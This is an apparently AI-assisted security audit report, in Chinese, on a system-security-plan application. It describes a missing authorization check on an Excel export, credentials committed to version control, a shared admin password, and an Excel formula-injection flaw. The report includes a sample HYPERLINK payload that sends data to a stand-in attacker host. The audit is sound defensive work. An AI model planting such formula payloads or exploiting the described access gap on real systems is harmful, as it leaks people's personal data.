---
title: O5 檢查結果：系統安全計畫的六類附屬資料
---

# O5 檢查結果：系統安全計畫的六類附屬資料

> 檢查日期 2026-09-21｜掃描耗時 3 小時 40 分｜對應卡片 CM-2005

---

## 🔴 一句話結論

**派工時要追的那條線追到了第三次——而且這次洞在隔壁。**

原本要查的六組功能（元件、人員、設備清單、繼承授權、參考資料、系統特性的增刪改查），**逐支核對下來全部守齊，沒有一支漏掉**。但這六組餵資料過去的那支「SSP 匯出成 Excel 範本」的功能，**完全沒有檢查你是不是這個專案的人**——任何一個登入者，只要知道別人的系統安全計畫編號，就能把對方整份計畫下載走：人名、email、電話、地址、設備清單、IP 位址、每一條控制項的實施狀況與敘述。而做同一件事的隔壁端點是有檢查的。

另外撈到兩條高風險，**都是明文密碼進了版控**——其中一組字串出現在 **250 個**已進版控的檔案裡。這兩條不在本棒範圍內，是機密專項掃描順手撈到的。

---

## 這一棒在檢查什麼

系統安全計畫（SSP）底下掛著六類附屬資料：**元件**（系統由哪些東西組成）、**人員**（誰負責什麼）、**設備清單**（有哪些機器、IP 多少）、**繼承授權**（沿用了哪些已通過的授權）、**參考資料**（附帶的文件）、**系統特性**（系統叫什麼、敏感度多高、邊界在哪）。

每一類各有一組網址入口（列表／新增／修改／刪除）與一支商業邏輯程式，共 15 支檔、1,808 行。這一棒查的就是**「誰能看、誰能改、誰能刪這六類資料」**。

**為什麼挑這塊**：六組是同一套邏輯複製六份，**最典型的「複製貼上時漏掉一處」風險**——六組裡只要有一組的刪除忘了守門，就是一個完整的洞。

---

> **現況（2026-10-01）**：本棒各條後來的處理結果如下（過程紀錄保留，不改）。
>
> - 問題 1、2（資料庫密碼進版控）：✅ 已修（CM-2049，commit `5d4c14221`；原卡 CM-1629 作廢）。
> - 問題 3（SSP 匯出範本不查是不是你的專案）＝M11 第 1 條，✅ 已修（CM-2188，commit `82618a297`，1.21.0 出貨）。
> - 問題 4（每套安裝同一組管理員密碼）：🚫 裁定不修（M17 第 7 條）。
> - 問題 5（存進 SSP 的文字在匯出 Excel 變公式）＝M11 第 20、21 條，✅ 已修（CM-2189，commit `895db0ef8`，1.21.0 出貨）。

## 找到什麼：5 個問題

| # | 嚴重度 | 這是什麼問題 | 出事會怎樣 | 要先有什麼才打得到 | 在哪裡 |
|---|---|---|---|---|---|
| 1 | 🔴 **高**<br>⚠️ 範圍外 | **POC 資料庫的密碼被寫死在一支已進版控的程式裡** | 拿得到程式碼的人可以直接連進 POC 資料庫讀寫。POC 依專案規定**等同正式環境**，客戶會在上面試玩 | ① 讀得到程式碼倉庫<br>② 連得到 192.168.50.189 | `docs/system-design/scripts/generate_db_schema_docx.py` 第 34 行 |
| 2 | 🔴 **高**<br>⚠️ 範圍外 | **資料庫最高權限帳號 `cmmgr` 的密碼被寫在文件裡，同一組字串散在 250 個受版控的檔案中** | 這個帳號會**繞過「每個客戶只能看自己資料」的隔離機制**，所有客戶資料可讀可寫，還能自己開新帳號 | 同上 | `docs/analysis/2026-05-28-poc-db-migration-plan.md` 第 73 行等 250 個檔 |
| 3 | 🟡 **中** | **SSP 匯出成 Excel 範本時，不問「你是不是這個專案的人」** | 任何登入者只要知道別人的 SSP 編號，就能下載對方**整份**計畫：人名、email、電話、地址、設備 IP、每條控制項敘述 | 有一個能看資源庫頁面的帳號 ＋ 知道目標編號（**從別的 API 回應就拿得到**） | `app/module_frame/service/ssp_import_template_app_service.py` 第 280 行 |
| 4 | 🟡 中<br>⚠️ 範圍外 | **每一套安裝出來的最高管理員密碼都一樣，而且刻意關掉首次登入強制改密** | 破解一次就能登入**所有客戶**的系統，而且身分是跨客戶通行的超級管理員 | 拿到安裝包或程式碼 ＋ 把密碼雜湊破解出來 | `scripts/init/06-admin.sql` 第 41 行 |
| 5 | 🟡 中 | **存進 SSP 的文字，在匯出的 Excel 裡會變成會執行的公式** | 稽核人員打開匯出的 Excel，**他電腦上的資料會被送到攻擊者的伺服器**；嚴重時可到執行指令 | 攻擊者能寫入某份 SSP ＋ 受害者打開檔案並按下 Excel 的警告確認 | `app/module_frame/excel_template/generator.py` 第 578 行 |

---

## 詳細說明

### 問題 3：SSP 匯出範本沒檢查你是不是這個專案的人（本棒範圍內最重要的一條）

**白話**：系統有一個「把整份系統安全計畫倒成 Excel」的功能。這個功能只問兩件事：**你登入了嗎**、**你的角色有沒有「看資源庫」這個權限**。**它從來不問「這份計畫是不是你們專案的」。**

```
api/module_frame/routes/ssp_import_template_route.py

第 97 行   @jwt_required()                      ← 你登入了嗎
第 98 行   @require_capability("module-frame.read")  ← 你的角色能看資源庫嗎
                                                ← 沒有第三道：這份計畫是你們的嗎

app/module_frame/service/ssp_import_template_app_service.py

第 280 行  ssp = self._ssp_domain_service.get_ssp(ssp_uid)
           ← 網址上給什麼編號就查什麼，直接開始讀資料
```

**整支檔案（含 DI 注入）grep `require_`、`Permission`、`Forbidden`、`authz` 一個字都沒有。**

**同一個系統裡做同一件事的隔壁端點是有檢查的**——`/ssp/<編號>/export`（另一種格式的匯出）：

```
app/oscal/service/export/ssp_export_app_service.py

第 16 行   from common.authz.ssp import SspPermissionChecker
第 74-75 行  if self._perm is not None:
                 self._perm.require_participant(ssp_uid)   ← 先問「你是這專案的人嗎」
```

**有反例就代表「這裡本來就該有檢查」不是猜測。**

**會流出什麼**：系統名稱與敏感度分級、授權邊界、**每一位登記人員的姓名／email／電話／通訊地址**、設備與資訊系統清單（主機名稱、IP、MAC、作業系統、資產編號）、繼承的授權、**每一條控制項的實施狀況與完整敘述**、附帶文件的檔名。一份九張工作表的 Excel。

**攻擊情境**：某個只是 A 專案「檢視者」的人（甚至一個專案都沒參加、只要角色有「看資源庫」權限），從 `/grc/project/<編號>/ap/menu` 的回應裡拿到 B 專案的 SSP 編號，送出 `GET /api/1.0/ssp/<B的編號>/excel-template?mode=filled`，就拿到 B 專案的全部內容。

**還有一層**：底層那些 `oscal.*` 資料表**沒有資料庫層的客戶隔離**（整份 schema 裡只有五張解析工作單的表開了隔離）。所以在多客戶部署下，**這個漏洞連「只洩漏給同公司的人」都做不到**。

**怎麼修**：把 `SspPermissionChecker` 注入這支服務，在 `generate_for_ssp` 第一行呼叫 `require_participant(ssp_uid)`，照隔壁 export 那支抄；DI 在 `di_containers/module_frame/module_frame_containers.py` 接線。另外建議給 `oscal.*` 那些表補上資料庫層隔離，這樣**漏掉一道守門就不會是唯一的防線**。

#### 🔴 這是同一種病的第三次

| 棒次 | 位置 | 形狀 |
|---|---|---|
| **O2** | 寫入路徑 | 讀取受資料庫層隔離保護，但寫入的目標在另一個資料庫結構、那裡沒有隔離 |
| **O3a** | Excel **匯入** | 三條去路，兩條有檢查、資源庫那條完全沒有 |
| **O5（本棒）** | Excel **匯出** | 匯出範本沒有檢查，隔壁做同樣事的匯出有檢查 |

**三次都在同一塊地（SSP 的資料進出），三次都是「隔壁有守、這支沒守」。** 建議修正卡把 O3a 那條與這條**放在一起處理**——匯入匯出是同一條路的兩個方向。

---

### 問題 1、2：明文密碼進版控（兩條高風險，範圍外）

這兩條不在本棒的 15 支檔裡，是機密專項掃描順手掃全倉庫找到的。**但它們直接違反本專案 CLAUDE.md 的第一條行為規範**（「禁止將憑證寫入任何版控檔案」）。

**問題 1**——POC 資料庫的連線資訊被寫死在一支產生資料庫文件的腳本裡：

```python
# docs/system-design/scripts/generate_db_schema_docx.py 第 33-34 行
DB_CONN = dict(host="192.168.50.189", port=25432, dbname="guidant_ai_poc",
               user="cm_app", password="<密碼>")
```

**主機、埠號、資料庫名、帳號、密碼——五樣齊全，複製貼上就能連。** 這支檔案確認已進版控（`git ls-files` 查過）。

**問題 2**——最高權限帳號的密碼寫在遷移手冊裡，而且**同一組字串出現在 250 個受版控的檔案中**（我自己 `git grep -l` 數的，與掃描報告吻合）：

```bash
# docs/analysis/2026-05-28-poc-db-migration-plan.md 第 71-73 行
export PGPASSWORD='<密碼>'
PSQL="psql -h 192.168.50.189 -p 25432 -U cmmgr -d guidant_ai_poc ..."
```

`cmmgr` 這個帳號建立時帶 `BYPASSRLS`——**繞過所有客戶隔離**——外加 `CREATEROLE`（可以自己開帳號）與資料庫擁有權（可以隨意改結構）。**這是整個產品裡權限最高的一組資料庫憑證。**

#### 這和 FR-081 的 I2 是同一件事

**I2（2026-09-09）數到 249 個檔，這次數到 250。** 根因一樣：不是有人故意把密碼寫進文件，是**工作過程被完整記錄下來的副作用**——查資料庫打的指令連同密碼被寫進對話紀錄，對話紀錄依規定進版控。

**I2 已經開了修正卡 CM-1629 要求治本**（改用 `~/.pgpass`、對話紀錄歸檔前先遮罩）。這次的兩條**不必另開新卡，併進 CM-1629 即可**——但要注意問題 1 那支是**程式碼不是文件**，清理方式不同（要改成從環境變數讀，`scripts/archive/backfill_2026-06-17_inject_job_execution_uid.py:25-28` 已經有正確寫法可抄）。

⚠️ **換密碼要注意**：DEV 和基線庫可以規劃，但 **STG／POC 屬於環境異動，依專案鐵律要決策者當次明確指示才可以動**。

---

### 問題 4：每套安裝的管理員密碼都一樣（範圍外）

```sql
-- scripts/init/06-admin.sql 第 41 行
c_password CONSTANT text := '<固定的 bcrypt 雜湊>';
```

這支在每次安裝時都會跑（`scripts/init/init.sh:128`），所以**每一套交付出去的系統，`admin` 帳號的密碼都是同一組**。而且第 94-96 行有一段註解，**刻意說明不建立首次登入強制改密**：

> 刻意**不建** FIRST_REGISTER 改密請求：這個帳號的密碼由原廠保管，不是要交給某個人去改的初始密碼。

**這個決定本身有其道理**（原廠要留維運入口），**但代價是沒說出口的**：破解一次雜湊，或原廠手上那份文件外流一次，就等於拿到**所有客戶**系統的超級管理員——那個身分會繞過全部的客戶隔離，而且沒有任何機制讓它過期。

**怎麼修**：安裝時每套各自產生一組密碼，顯示一次給安裝的人——`install.sh:1251` 產生資料庫管理員密碼時**已經是這樣做的**（`openssl rand`），照抄即可。若真的要保留固定的原廠帳號，**至少掛上首次登入改密**，讓外流的共用密碼在第一次使用後失效。

---

### 問題 5：存進去的文字會變成 Excel 公式

**白話**：使用者在 SSP 欄位裡填的字，匯出成 Excel 之後會被當成公式執行。

```python
# app/module_frame/excel_template/generator.py 第 578 行
cell = ws.cell(row=row_offset, column=col_idx, value=value)   ← 原字串直接寫入

# 第 137 行
wb.calculation.fullCalcOnLoad = True    ← 而且設定成「一打開就重算」
```

Excel 函式庫看到開頭是 `=` 的字串會自動把格子標記成公式，加上「一打開就重算」，**檔案開啟的瞬間公式就跑了**。

**攻擊情境**：能寫入某份 SSP 的人，把元件標題設成
`=HYPERLINK("https://evil.example/?x="&'參與人員'!A2,"Click for details")`。
稽核人員下載這份 Excel，看到一個像是正常連結的儲存格，點下去——**同一份檔案裡某位參與人員的 email 就被送到攻擊者的伺服器**。

**影響落在稽核人員的電腦上，不是伺服器。** 需要受害者按下 Excel 的警告確認，所以判中不判高。

**怎麼修**：寫入前把開頭是 `=`、`+`、`-`、`@`、tab、換行的字串前面補一個單引號，或寫完之後把格子型別明確設成文字。`generator.py:319`（直式工作表）與 `lookup_builder.py` 要一起處理。

---

## 本棒原本要查的六組——結果是乾淨的

派工卡列了四項必查，**逐項核對結果如下**（這段是我自己開檔看的，不是採信掃描報告）：

### ① 六組的守門是不是齊的 → ✅ 全齊

```
                        列表            新增/修改/刪除
元件      components     participant     manager × 3
人員      party          participant     manager × 3
設備清單  inventory      participant     manager × 3
繼承授權  leveraged      participant     manager × 3
參考資料  resources      participant     manager × 3
系統特性  system_char    participant     manager × 1（只有一支更新）
```

**六組都是：讀用「你要是這專案的人」，寫用「你要是這專案的負責人」，一支不漏。** 卡片擔心的「某一組的刪除忘了守門」沒有發生。

### ② 子物件編號有沒有確認屬於網址上那份 SSP → ✅ 六組都有

六組的內部查找函式長得一模一樣：**先用權限檢查回傳的 SSP 編號去撈清單，再在清單裡比對子物件編號**。

```python
def _resolve(self, ssp_id: int, item_uid: str):
    for c in self._ssp_service.list_components_for_ssp(ssp_id):   ← 只在這份 SSP 的範圍內找
        if c.uuid == item_uid:
            return c
    raise NotFound(...)                                            ← 找不到就 404
```

**所以「拿自己的 SSP 編號 ＋ 別人的元件編號」這招行不通**，會得到 404。人員那組走的是 metadata 層（`_metadata_id`），形狀不同但同樣限定在本 SSP 之內。

### ③ `ssp_project_resolver` 解析不到時回什麼 → ✅ 四條失敗路徑全部拋錯

這支是整條權限判斷鏈的起點，卡片特別點名「回 `None` 然後上層當成通過」是災難。實際情況：

```
第 89 行   SSP 查不到           → raise NotFound
第 92 行   查不到所屬專案        → raise NotFound
第 95 行   專案查不到           → raise NotFound
```

`resolve()` **沒有任何一條路徑回 `None`**。（檔案下半部的 `resolve_round_for_ssp`、`resolve_current_ssp` 確實會回 `None`，但那兩支是查輪次用的，不在權限判斷鏈上。）

### ④ 兩支解析器職責有沒有重疊、行為一不一致 → ✅ 沒有衝突

`ssp_project_resolver`（SSP → 專案）與 `ssp_context_resolver`（SSP → 上下文）職責分開，沒有出現「兩套解析同一件事而答案不同」的情形。

**結論：這六組本身是這批檔案裡寫得最一致的一塊。洞在它們餵資料過去的那支匯出服務。**

---

## 這份結果可信到什麼程度

### 「這五條是真的嗎」→ ✅ 可信

**五條全部經過三個獨立檢查員投票、三票全過**，15 票全數投出、沒有漏投、沒有中斷，驗證章蓋的是 `verified`。

**檢查員把問題 3 降級了**（研究員判「高」，兩位檢查員投「中」，最後定為中）——代表他們在做對抗性判斷，不是橡皮圖章。

**我自己也沒有只採信工具**，下列是開檔核對過的：
- 問題 1 的第 34 行、以及這支檔案確實進版控（`git ls-files`）
- 問題 2 的第 73 行、以及 250 個檔的數字（`git grep -l` 自己數）
- 問題 3 的路由只有兩個裝飾器、服務整支沒有任何權限字眼、**以及隔壁 export 確實有守**（這一條是判斷「該不該有」的關鍵）
- 問題 4 的固定雜湊與「刻意不建改密」的註解
- 上一節六組守門的全部比對

### 「是不是只有這五條」→ ❌ 不可信，兩層原因

**第一層**：這是快篩模式（`low`），一個研究員讀完 15 支檔，**沒有全面盤點、沒有威脅建模**。它不是窮舉式閱讀。

**第二層**：**四條標「範圍外」的發現，不代表那些地方被檢查過。** 問題 1、2、4 是機密專項掃描順手撈到的，`docs/`、`scripts/` 這兩個目錄**從來不是這次的檢查目標**——那兩處等於沒檢查過。問題 3、5 雖然是本棒研究員找到的，但落點在 `app/module_frame/`，也不在原本的 15 支檔清單內。

**另外**：這次掃描**沒有執行任何程式碼**——沒跑測試、沒發動攻擊、沒驗證過概念驗證。每一條都是讀程式碼推出來的。上面標「開檔核對」的幾條，是我重新打開檔案看過那幾行確實那樣寫，**不是實際打過那個 API**。

---

## 執行概況（技術細節）

| 項目 | 數字 |
|---|---|
| 檢查範圍 | 15 個檔、1,808 行 |
| 工具設定 | effort `low`／focus `attack-surface` |
| 派出／回報的 agent | **17 / 17**（1 研究員 ＋ 1 機密掃描 ＋ 15 檢查員） |
| 失敗的 agent | **0** |
| 候選問題 → 去除重複 | 5 → 5 |
| 投票數 | **15**（5 條 × 3 個檢查員） |
| 沒投到票的 | 0 |
| 投票中斷的 | 0 |
| 被檢查員降低嚴重度的 | **1**（問題 3，高 → 中） |
| 驗證章 | **`verified`** |
| 掃描耗時 | 3 小時 40 分 |
| Run ID | `wf_7ac51ad6-b71` |
| 掃描時的版本 | `7ce6210`（branch `feature/review`，工作區有未提交異動） |

原始產物（JSONL／SARIF／驗證章）在 `CLAUDE-SECURITY-20260921-113212/`。
